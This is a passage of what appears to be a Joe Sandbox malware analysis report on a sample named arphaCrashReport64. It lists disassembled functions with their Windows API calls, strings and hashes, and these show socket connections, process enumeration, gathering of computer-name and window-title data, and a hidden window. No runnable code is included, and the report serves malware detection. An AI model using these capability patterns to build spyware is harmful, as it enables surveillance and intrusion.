lstrlen.KERNEL32 ref: 0000021497F23763
_localtime64.LIBCMT ref: 0000021497F2377C
wsprintfA.USER32 ref: 0000021497F237B2
GetModuleFileNameA.KERNEL32 ref: 0000021497F2383C

Strings

ameA, xrefs: 0000021497F2363D
pi32, xrefs: 0000021497F23658
.dll, xrefs: 0000021497F23662
Time, xrefs: 0000021497F23751, 0000021497F237BB
%d-%d-%d %d:%d, xrefs: 0000021497F237A8
GetU, xrefs: 0000021497F23629
serN, xrefs: 0000021497F23633
driver, xrefs: 0000021497F23842
2, xrefs: 0000021497F235CC
Remark, xrefs: 0000021497F235D4
Adva, xrefs: 0000021497F2364E
Group, xrefs: 0000021497F237DD, 0000021497F237FC
run, xrefs: 0000021497F23857
2, xrefs: 0000021497F23621

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Name$Computer$Currentwsprintf$AddressCreateFileLibraryLoadModuleProcProcessProfileSnapshotToolhelp32User_localtime64lstrcatlstrcpylstrlen
String ID: %d-%d-%d %d:%d$.dll$2$2$Adva$GetU$Group$Remark$Time$ameA$driver$pi32$run$serN
API String ID: 2203227563-3218832578
Opcode ID: 4c9df6ceb10faf31e691ca73e19ae76b27f32ce6c5577c60513530c26abd7d4c
Instruction ID: f0c0edd5605e3b88ee21c1e51d10c8080bcd4c29559c1e7380a381c7a0228898
Opcode Fuzzy Hash: 4c9df6ceb10faf31e691ca73e19ae76b27f32ce6c5577c60513530c26abd7d4c
Instruction Fuzzy Hash: 2891817220468086EB20FB24D86CBDE7761FB607E5F404616DA5D57AEEDF78C649CB00

Function 0000021497F21BF0 Relevance: 19.7, APIs: 13, Instructions: 152
networktimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResetEvent.KERNEL32 ref: 0000021497F21C2D
timeGetTime.WINMM ref: 0000021497F21C3F
socket.WS2_32 ref: 0000021497F21C66
gethostbyname.WS2_32 ref: 0000021497F21C80
htons.WS2_32 ref: 0000021497F21C97
connect.WS2_32 ref: 0000021497F21CBB
getsockname.WS2_32 ref: 0000021497F21CE3
inet_ntop.WS2_32 ref: 0000021497F21D11
setsockopt.WS2_32 ref: 0000021497F21D39
setsockopt.WS2_32 ref: 0000021497F21D61
setsockopt.WS2_32 ref: 0000021497F21D89
setsockopt.WS2_32 ref: 0000021497F21DAD
WSAIoctl.WS2_32 ref: 0000021497F21DF8

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: setsockopt$EventIoctlResetTimeconnectgethostbynamegetsocknamehtonsinet_ntopsockettime
String ID:
API String ID: 4102826399-0
Opcode ID: 69823b34bc752394f411954f9e383b6d2b1dd5977c59d891b4d8328fbe2701bc
Instruction ID: 8827b864b12ffee1603498f56aaddac800ab51f0c7783523f40b8ad594ade0f8
Opcode Fuzzy Hash: 69823b34bc752394f411954f9e383b6d2b1dd5977c59d891b4d8328fbe2701bc
Instruction Fuzzy Hash: 5A715772700A419BEB20EF65E418BDA33A1F758799F004625EF4D67BA8DF38C169CB44

Function 0000021497F24430 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 58
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegisterClassExA.USER32 ref: 0000021497F24476
GetModuleHandleA.KERNEL32 ref: 0000021497F2448E
CreateWindowExA.USER32 ref: 0000021497F244D0
GetMessageA.USER32 ref: 0000021497F244E8
TranslateMessage.USER32 ref: 0000021497F244FC
DispatchMessageA.USER32 ref: 0000021497F24507
GetMessageA.USER32 ref: 0000021497F2451A

Strings

QjNy1jwRYuH6aNtMf3Jz, xrefs: 0000021497F24457

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Message$ClassCreateDispatchHandleModuleRegisterTranslateWindow
String ID: QjNy1jwRYuH6aNtMf3Jz
API String ID: 3848795541-3621823610
Opcode ID: 3406c9ca98162bfd763306c4c3a91e589ec25171c65301aba56c24f70cb98ac9
Instruction ID: 25c94d6ae0829fc84edbd4473a11141dde772cde00a7109a668add710cc40264
Opcode Fuzzy Hash: 3406c9ca98162bfd763306c4c3a91e589ec25171c65301aba56c24f70cb98ac9
Instruction Fuzzy Hash: 89216031618A8182E760EB64F86CBAB73A0F7A4755F904A16D65E52AECDF3CC509CF00

Function 0000021497F221C0 Relevance: 13.6, APIs: 9, Instructions: 97
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

select.WS2_32 ref: 0000021497F22255
recv.WS2_32 ref: 0000021497F22274
_errno.LIBCMT ref: 0000021497F22280
_errno.LIBCMT ref: 0000021497F2228A
_errno.LIBCMT ref: 0000021497F22297
setsockopt.WS2_32 ref: 0000021497F222FF
CancelIo.KERNEL32 ref: 0000021497F22309
closesocket.WS2_32 ref: 0000021497F22319
SetEvent.KERNEL32 ref: 0000021497F22326

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$CancelEventclosesocketrecvselectsetsockopt
String ID:
API String ID: 2233327707-0
Opcode ID: a05aeac41a3b76157148e5e7acf1457028f623d998fb654da6be27c4cb197c78
Instruction ID: a85eba58cd1cf017c9041880d765c302e12afe6963457415380ddea113d95b58
Opcode Fuzzy Hash: a05aeac41a3b76157148e5e7acf1457028f623d998fb654da6be27c4cb197c78
Instruction Fuzzy Hash: EB416E32308A8081FB60AF24E468BEB77A0F7A5B95F550625DB9D57ADDCF39C844CB04

Function 00007FF60016E8B0 Relevance: 13.6, APIs: 9, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF60016E8BF

Part of subcall function 00007FF60016DDC0: __vcrt_initialize.LIBVCRUNTIME ref: 00007FF60016DDE2

__scrt_release_startup_lock.LIBCMT ref: 00007FF60016E942
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF60016E958
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF60016E984
__scrt_get_show_window_mode.LIBCMT ref: 00007FF60016E995
__scrt_is_managed_app.LIBCMT ref: 00007FF60016E9B8
__scrt_uninitialize_crt.LIBCMT ref: 00007FF60016E9CF
__scrt_fastfail.LIBCMT ref: 00007FF60016EA01
__scrt_fastfail.LIBCMT ref: 00007FF60016EA0C

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: __scrt_fastfail__scrt_is_nonwritable_in_current_image$__scrt_get_show_window_mode__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock__scrt_uninitialize_crt__vcrt_initialize
String ID:
API String ID: 1011152198-0
Opcode ID: e49450ee6f6a2700efc2b99d1c8661abeac7e54670bb419982dbb3fd25f039fb
Instruction ID: 2948e0e14ed1071f396fc1092f1f087cd14f63559750d092ed8a90c0dbc7e8b1
Opcode Fuzzy Hash: e49450ee6f6a2700efc2b99d1c8661abeac7e54670bb419982dbb3fd25f039fb
Instruction Fuzzy Hash: 0A316C35E4C603B1FA54ABE5E8213B917D19F45388F6442B4E64DCB3DFDE6DA9088300

Function 00007FF8A8D218E0 Relevance: 10.6, APIs: 7, Instructions: 87
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8A8D23B20: HeapCreate.KERNELBASE(?,?,?,?,00007FF8A8D218F5), ref: 00007FF8A8D23B32
Part of subcall function 00007FF8A8D23B20: HeapSetInformation.KERNEL32 ref: 00007FF8A8D23B5C

_RTC_Initialize.LIBCMT ref: 00007FF8A8D21910
GetCommandLineA.KERNEL32 ref: 00007FF8A8D21915

Part of subcall function 00007FF8A8D238FC: GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF8A8D21927), ref: 00007FF8A8D2392B
Part of subcall function 00007FF8A8D238FC: GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF8A8D21927), ref: 00007FF8A8D2396B

Part of subcall function 00007FF8A8D231A8: GetStartupInfoA.KERNEL32 ref: 00007FF8A8D231CD

__setargv.LIBCMT ref: 00007FF8A8D2193E
_cinit.LIBCMT ref: 00007FF8A8D21952

Part of subcall function 00007FF8A8D228E4: FlsFree.KERNEL32(?,?,?,?,00007FF8A8D219A3), ref: 00007FF8A8D228F3
Part of subcall function 00007FF8A8D228E4: DeleteCriticalSection.KERNEL32(?,?,?,000005AA,?,?,?,?,?,?,?,?,?,00007FF8A8D219A3), ref: 00007FF8A8D2430E
Part of subcall function 00007FF8A8D228E4: free.LIBCMT ref: 00007FF8A8D24317
Part of subcall function 00007FF8A8D228E4: DeleteCriticalSection.KERNEL32(?,?,?,000005AA,?,?,?,?,?,?,?,?,?,00007FF8A8D219A3), ref: 00007FF8A8D24337

Part of subcall function 00007FF8A8D23498: free.LIBCMT ref: 00007FF8A8D234DF

Part of subcall function 00007FF8A8D22CD0: Sleep.KERNEL32(?,?,?,00007FF8A8D229F3,?,?,?,00007FF8A8D2253D,?,?,?,?,00007FF8A8D21ECD), ref: 00007FF8A8D22D15

FlsSetValue.KERNEL32 ref: 00007FF8A8D219D8
GetCurrentThreadId.KERNEL32 ref: 00007FF8A8D219EC
free.LIBCMT ref: 00007FF8A8D219FB

Part of subcall function 00007FF8A8D21EA8: HeapFree.KERNEL32(?,?,?,00007FF8A8D216FD), ref: 00007FF8A8D21EBE
Part of subcall function 00007FF8A8D21EA8: _errno.LIBCMT ref: 00007FF8A8D21EC8
Part of subcall function 00007FF8A8D21EA8: GetLastError.KERNEL32(?,?,?,00007FF8A8D216FD), ref: 00007FF8A8D21ED0

Memory Dump Source

Source File: 00000003.00000002.3891001809.00007FF8A8D21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF8A8D20000, based on PE: true

Associated: 00000003.00000002.3890981666.00007FF8A8D20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891020205.00007FF8A8D2A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891042350.00007FF8A8D2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891059513.00007FF8A8D31000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8d20000_arphaCrashReport64.jbxd

Similarity

API ID: Heapfree$CriticalDeleteEnvironmentFreeSectionStrings$CommandCreateCurrentErrorInfoInformationInitializeLastLineSleepStartupThreadValue__setargv_cinit_errno
String ID:
API String ID: 1549890855-0
Opcode ID: 40821d3dc59cbf3c64e4d84b918f9b165b5e38ad200d41ae6754068b14a37dbd
Instruction ID: b9faa987bc35df69895e46e0d1decf0e2b9dc4ce370e8285ca20f13e10c07d39
Opcode Fuzzy Hash: 40821d3dc59cbf3c64e4d84b918f9b165b5e38ad200d41ae6754068b14a37dbd
Instruction Fuzzy Hash: 9131EE30E0F20371FB686B6259022795184EF943E0F108538E8BE871D6FF2CB84D5639

Function 00007FF600166790 Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32 ref: 00007FF6001667A4
InitCommonControlsEx.COMCTL32 ref: 00007FF6001667BF

Part of subcall function 00007FF600162DB0: GetCurrentThreadId.KERNEL32 ref: 00007FF600162DDF

GetCommandLineW.KERNEL32 ref: 00007FF6001667D9

Part of subcall function 00007FF600164FE0: CommandLineToArgvW.SHELL32 ref: 00007FF600165028
Part of subcall function 00007FF600164FE0: SetWindowLocalDump.ARPHADUMP64 ref: 00007FF600165059
Part of subcall function 00007FF600164FE0: SetWindowLocalDump.ARPHADUMP64 ref: 00007FF600165094
Part of subcall function 00007FF600164FE0: SetWindowLocalDump.ARPHADUMP64 ref: 00007FF6001650F1

EnterCriticalSection.KERNEL32 ref: 00007FF6001667F4
DestroyWindow.USER32 ref: 00007FF600166812
LeaveCriticalSection.KERNEL32 ref: 00007FF600166857
CoUninitialize.OLE32 ref: 00007FF6001668A7

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: Window$DumpLocal$CommandCriticalLineSection$ArgvCommonControlsCurrentDestroyEnterInitInitializeLeaveThreadUninitialize
String ID:
API String ID: 4232477309-0
Opcode ID: 6016dd98208aa9a108adf78c0108ff9928f39f32039d0d110344441888cf9f30
Instruction ID: 32e7cb96f076197aca652a02ccad37cae519eabc8c4ea98b057dfb114e2fdf12
Opcode Fuzzy Hash: 6016dd98208aa9a108adf78c0108ff9928f39f32039d0d110344441888cf9f30
Instruction Fuzzy Hash: B8313C35A08B42A6EB149FE1E85027973A4FF84B84F6844B5DA4E8776DCF7CE644C350

Function 00007FF8A8D24FD0 Relevance: 9.1, APIs: 6, Instructions: 122
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_getptd.LIBCMT ref: 00007FF8A8D24FEF

Part of subcall function 00007FF8A8D24B60: _getptd.LIBCMT ref: 00007FF8A8D24B6A

Part of subcall function 00007FF8A8D24CC8: GetOEMCP.KERNEL32(?,?,?,?,?,?,?,00007FF8A8D2500A,?,?,?,?,?,00007FF8A8D251DF), ref: 00007FF8A8D24CF2

Part of subcall function 00007FF8A8D22C64: malloc.LIBCMT ref: 00007FF8A8D22C83
Part of subcall function 00007FF8A8D22C64: Sleep.KERNEL32(?,?,00000000,00007FF8A8D243D5,?,?,?,00007FF8A8D2447F), ref: 00007FF8A8D22C9A

free.LIBCMT ref: 00007FF8A8D2507B

Part of subcall function 00007FF8A8D21EA8: HeapFree.KERNEL32(?,?,?,00007FF8A8D216FD), ref: 00007FF8A8D21EBE
Part of subcall function 00007FF8A8D21EA8: _errno.LIBCMT ref: 00007FF8A8D21EC8
Part of subcall function 00007FF8A8D21EA8: GetLastError.KERNEL32(?,?,?,00007FF8A8D216FD), ref: 00007FF8A8D21ED0

_lock.LIBCMT ref: 00007FF8A8D250B3
free.LIBCMT ref: 00007FF8A8D25163
free.LIBCMT ref: 00007FF8A8D25193
_errno.LIBCMT ref: 00007FF8A8D25198

Memory Dump Source

Source File: 00000003.00000002.3891001809.00007FF8A8D21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF8A8D20000, based on PE: true

Associated: 00000003.00000002.3890981666.00007FF8A8D20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891020205.00007FF8A8D2A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891042350.00007FF8A8D2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891059513.00007FF8A8D31000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8d20000_arphaCrashReport64.jbxd

Similarity

API ID: free$_errno_getptd$ErrorFreeHeapLastSleep_lockmalloc
String ID:
API String ID: 2878544890-0
Opcode ID: e7b31d940b5e61bc55c6da1b419915fdda316d163dca5b5054fd05ae409f7391
Instruction ID: b6370afa0a11408561dc4dc52bf784ba46675a42cc1ab9b56b2d86fffe0b0113
Opcode Fuzzy Hash: e7b31d940b5e61bc55c6da1b419915fdda316d163dca5b5054fd05ae409f7391
Instruction Fuzzy Hash: CE51263290A642A6E791DB21D800679B7A1FF84BD4F144936DA7E433D6EF3CE409C728

Function 0000021497F330BC Relevance: 9.1, APIs: 6, Instructions: 63threadCOMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000021497F330E7
_invalid_parameter_noinfo.LIBCMT ref: 0000021497F330F2
_getptd.LIBCMT ref: 0000021497F33118
CreateThread.KERNELBASE ref: 0000021497F3316D
GetLastError.KERNEL32 ref: 0000021497F33178
free.LIBCMT ref: 0000021497F33183

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: CreateErrorLastThread_errno_getptd_invalid_parameter_noinfofree
String ID:
API String ID: 3283625137-0
Opcode ID: 682c3161d626f3e06a97a55f13333c3dfc29333ffe79b4f3941292e52bca3446
Instruction ID: 722f6234157db0bcf143863fbe7e5d9b5480e5da9485894aa74f8d9abc6f1e7b
Opcode Fuzzy Hash: 682c3161d626f3e06a97a55f13333c3dfc29333ffe79b4f3941292e52bca3446
Instruction Fuzzy Hash: A521C83160478586FA14FB65A469BDFB390BB94BE1F444A25EE6D637DECF38C0548B00

Function 0000021497F321D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 0000021497F3222B
lstrcpy.KERNEL32 ref: 0000021497F32241
wsprintfA.USER32 ref: 0000021497F32270

Strings

UnKnow, xrefs: 0000021497F32235
SOFTWARE\%sW\, xrefs: 0000021497F32261

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: SOFTWARE\%sW\$UnKnow
API String ID: 2045598086-1925786254
Opcode ID: ce4fb7f75d1219ad2289e25997fa7daa82040d6d259ef8843f123cfa3a06188e
Instruction ID: 691fedb1ed695b39bce2991a272a661fcd8ee1a04ae2d7ea5f2edc3d8aea199e
Opcode Fuzzy Hash: ce4fb7f75d1219ad2289e25997fa7daa82040d6d259ef8843f123cfa3a06188e
Instruction Fuzzy Hash: 8C11A27131898282FB20EB11E86DBDB6361F7A438AF800411D74D53AAAEF3DC109CF10

Function 00007FF8A8D21390 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF8A8D213A0
LoadLibraryA.KERNELBASE ref: 00007FF8A8D213B4

Strings

Advapi32.dll, xrefs: 00007FF8A8D213A6
Kernel32.dll, xrefs: 00007FF8A8D21399

Memory Dump Source

Source File: 00000003.00000002.3891001809.00007FF8A8D21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF8A8D20000, based on PE: true

Associated: 00000003.00000002.3890981666.00007FF8A8D20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891020205.00007FF8A8D2A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891042350.00007FF8A8D2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891059513.00007FF8A8D31000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8d20000_arphaCrashReport64.jbxd

Similarity

API ID: HandleLibraryLoadModule
String ID: Advapi32.dll$Kernel32.dll
API String ID: 4133054770-3188642331
Opcode ID: 418ce45b5ec06e1b2862c4412dc0c3816f81b2d1ecedce3597085fe4abdcdff0
Instruction ID: cb6a242db1fb376830a24c73b757b95855478589e27aa979e7abdb447d4e782b
Opcode Fuzzy Hash: 418ce45b5ec06e1b2862c4412dc0c3816f81b2d1ecedce3597085fe4abdcdff0
Instruction Fuzzy Hash: 18E0E230E0BA13E1EB109B00A98067822A1FB65390F900031C06D432A8FF7DA0AC8728

Function 00007FF8A8D24D58 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D24CC8: GetOEMCP.KERNEL32(?,?,?,?,?,?,?,00007FF8A8D2500A,?,?,?,?,?,00007FF8A8D251DF), ref: 00007FF8A8D24CF2

IsValidCodePage.KERNEL32(?,?,?,00000000,00000000,00000000,?,00007FF8A8D25050,?,?,?,?,?,00007FF8A8D251DF), ref: 00007FF8A8D24DDB
GetCPInfo.KERNEL32(?,?,?,00000000,00000000,00000000,?,00007FF8A8D25050,?,?,?,?,?,00007FF8A8D251DF), ref: 00007FF8A8D24DF0

Strings

ExW, xrefs: 00007FF8A8D24E20

Memory Dump Source

Source File: 00000003.00000002.3891001809.00007FF8A8D21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF8A8D20000, based on PE: true

Associated: 00000003.00000002.3890981666.00007FF8A8D20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891020205.00007FF8A8D2A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891042350.00007FF8A8D2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891059513.00007FF8A8D31000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8d20000_arphaCrashReport64.jbxd

Similarity

API ID: CodeInfoPageValid
String ID: ExW
API String ID: 546120528-2616828304
Opcode ID: 9ec4cdaa8fe45a7dc26e4c49f13c391a527cd7fe7a4114bc5d8f532e0099a1ca
Instruction ID: 9e8aa3c0222c0d310d5d61923801eb92d0dc668d8a3e59718ab7705708b7fde5
Opcode Fuzzy Hash: 9ec4cdaa8fe45a7dc26e4c49f13c391a527cd7fe7a4114bc5d8f532e0099a1ca
Instruction Fuzzy Hash: A571C4B2E0E29266FB748B2490501796E93FF80784F448135DB7E47695EF3CE989C728

Function 0000021497F2ED81 Relevance: 4.6, APIs: 3, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 0000021497F33290: malloc.LIBCMT ref: 0000021497F332AA

GetLastInputInfo.USER32 ref: 0000021497F2EDCA
GetTickCount.KERNEL32 ref: 0000021497F2EDD0
GetForegroundWindow.USER32 ref: 0000021497F2EDFE

Part of subcall function 0000021497F22F20: IsWindow.USER32 ref: 0000021497F22F37
Part of subcall function 0000021497F22F20: GetWindowThreadProcessId.USER32 ref: 0000021497F22F63
Part of subcall function 0000021497F22F20: GetCurrentProcessId.KERNEL32 ref: 0000021497F22F6B
Part of subcall function 0000021497F22F20: GetCurrentThreadId.KERNEL32 ref: 0000021497F22F77
Part of subcall function 0000021497F22F20: GetWindowTextA.USER32 ref: 0000021497F22F8D

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Window$CurrentProcessThread$CountForegroundInfoInputLastTextTickmalloc
String ID:
API String ID: 3323085477-0
Opcode ID: 44b1e6e62a3808914b2990803f0d3b32f4d0b914e85da03f9fa56ac4a72c0795
Instruction ID: 79d76a004263a514f5b8a1c3af4614fb629ada9d681b4a0ecd0af566450bd32f
Opcode Fuzzy Hash: 44b1e6e62a3808914b2990803f0d3b32f4d0b914e85da03f9fa56ac4a72c0795
Instruction Fuzzy Hash: F211A33272468087DF44FF36A85C79A66A0E795B81F449825EB4E87B8DDF7CC854CB40

Function 0000021497F23080 Relevance: 4.6, APIs: 3, Instructions: 58COMMON

Download Yara Rule

APIs

Process32First.KERNEL32 ref: 0000021497F230A0
FindCloseChangeNotification.KERNELBASE ref: 0000021497F23144

Part of subcall function 0000021497F334EC: _errno.LIBCMT ref: 0000021497F334FE
Part of subcall function 0000021497F334EC: _invalid_parameter_noinfo.LIBCMT ref: 0000021497F33509

Process32Next.KERNEL32 ref: 0000021497F2311E

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Process32$ChangeCloseFindFirstNextNotification_errno_invalid_parameter_noinfo
String ID:
API String ID: 1362859326-0
Opcode ID: 38c2abb4abafc69136a7456c2adf4735da2ec9da11d856ab3c788e6b6e9f4e49
Instruction ID: 9195b90ed8c4709cf67efd7a7a0495a060b9189aaa2a1509bc2c0f4a8c53c67f
Opcode Fuzzy Hash: 38c2abb4abafc69136a7456c2adf4735da2ec9da11d856ab3c788e6b6e9f4e49
Instruction Fuzzy Hash: 22114276314A4082E710EB12A818B9BB7A4F758BF5F444611DE5D5379DCF78C449CB04

Function 0000021497F2E907 Relevance: 4.6, APIs: 3, Instructions: 53COMMON

Download Yara Rule

APIs

Part of subcall function 0000021497F33290: malloc.LIBCMT ref: 0000021497F332AA

GetLastInputInfo.USER32 ref: 0000021497F2EDCA
GetTickCount.KERNEL32 ref: 0000021497F2EDD0
GetForegroundWindow.USER32 ref: 0000021497F2EDFE

Part of subcall function 0000021497F22F20: IsWindow.USER32 ref: 0000021497F22F37
Part of subcall function 0000021497F22F20: GetWindowThreadProcessId.USER32 ref: 0000021497F22F63
Part of subcall function 0000021497F22F20: GetCurrentProcessId.KERNEL32 ref: 0000021497F22F6B
Part of subcall function 0000021497F22F20: GetCurrentThreadId.KERNEL32 ref: 0000021497F22F77
Part of subcall function 0000021497F22F20: GetWindowTextA.USER32 ref: 0000021497F22F8D

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Window$CurrentProcessThread$CountForegroundInfoInputLastTextTickmalloc
String ID:
API String ID: 3323085477-0
Opcode ID: 53f4fb6f92e301a670ffe44a7bcae88315d6365779e7b2565db4d3ad9d44070f
Instruction ID: b375b344f278de029828ed63b094864eea70dcea559111b0ef2b791ae67fb6cc
Opcode Fuzzy Hash: 53f4fb6f92e301a670ffe44a7bcae88315d6365779e7b2565db4d3ad9d44070f
Instruction Fuzzy Hash: 1211903272464086EB44EB26B85C69A62A0E794BD1F089820EF4E47B8DDF78C4948B40

